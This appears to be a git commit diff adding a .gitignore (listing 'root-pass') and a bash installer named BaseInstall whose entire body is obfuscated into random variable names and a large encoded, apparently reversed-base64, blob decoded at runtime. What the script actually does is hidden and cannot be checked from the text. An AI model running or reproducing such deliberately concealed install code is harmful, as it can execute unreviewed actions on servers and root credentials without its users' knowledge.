commit 82407c9abf7de66e9bdddfcbd54c805e852da2a7 Author: @drowkid01 Date: Mon May 26 15:48:09 2025 -0600 first main diff --git a/Complementos/.gitignore b/Complementos/.gitignore new file mode 100644 index 0000000..2ae009d --- /dev/null +++ b/Complementos/.gitignore @@ -0,0 +1,2 @@ +root-pass +baseinst diff --git a/Complementos/BaseInstall b/Complementos/BaseInstall new file mode 100755 index 0000000..b94839e --- /dev/null +++ b/Complementos/BaseInstall @@ -0,0 +1,2 @@ +#!/bin/bash +xJDRaRrEWBxonGxfhRPTZWNXzBDVvAeWwAAbMARnVBYsxdrwZGDJLITMzfuiZjAEnSwUClIkJpOYbyORkrdBZMDXMgcllnSbfQCW="kGbBaUqicrRogNmUUuTAxTTlLskfPTagbajkOnCGOQbRjmPTwiHFHzjsqIULfzwEGImMSsqvgHYuuEXJEfXmQFWKdGGtAkhAhQbU";sFsguGLACTBNLbjSlQqqLgHMENDzrxOHHMofNIRYUVKLABRUojcqkPBZuVHJmQUkQGKBfoeMJqVGmrGnOAOYhoHLFgWRVjgMOfeM="kyaswANduUDPIiTNnduKGKLTJJtPBWpMdrgShllYSyqAHRYhlVkBhDCuwsFJZYPljPmkmgzcKUROtizqFrDMOdWUyxnOsSPAkjJX";EtXbRZqPkPUxLGPJjFYMOBgoNwoXkozbDvlHKDCfmpuTLJgNXcNTVdiMAgCuuzdTNFZaIqLtUNtsvUtPMXfJWAqOXpLQSPcvWltt="ch";RAydfUzIiBTtpArNmxODhXKILNYQjJdEgpufniVBZdUUsZCKRwSJsnhdsUhJnEImFOvRDAIHmKAYfGmQlRhxmzkQTwgzcQNpjdZW="4";nXougKRtZHQfuGqZgXOipkcZXPgCVMXyQZdrYKtMmSDBJMzLjErqHOgwqGnLSPjdxouYHUOYdVSnFIjovKofzwElmkBsEArqGQoI="";WXVTQhRRZFfWBHkgpprwbPIpBYNEDkIqsSTqCCusHcMHhVQiVcYQBlifgjQdyxIkbtcAPeBoNXDjNdweamHNlWkuKVGdNnHHwbqJ="vQIWYLPaqluzWInmwUTkFTvkUmMKHrsVninbZmEYHVqDebAGilVVjTvsmwBLkUhXljcdfgMvfWuYgRRxueUOiTyjSSNXSJYurpHt";bYtXKSLxNMhAYjPGpAQnUCYOdZLHzUUzFDaGfoKYanYPQdQmAYLAoMFEVqvPSaKJSZxAPxpOiMryZyQIXNpuDjMXHHuEzZdKjBmH=" =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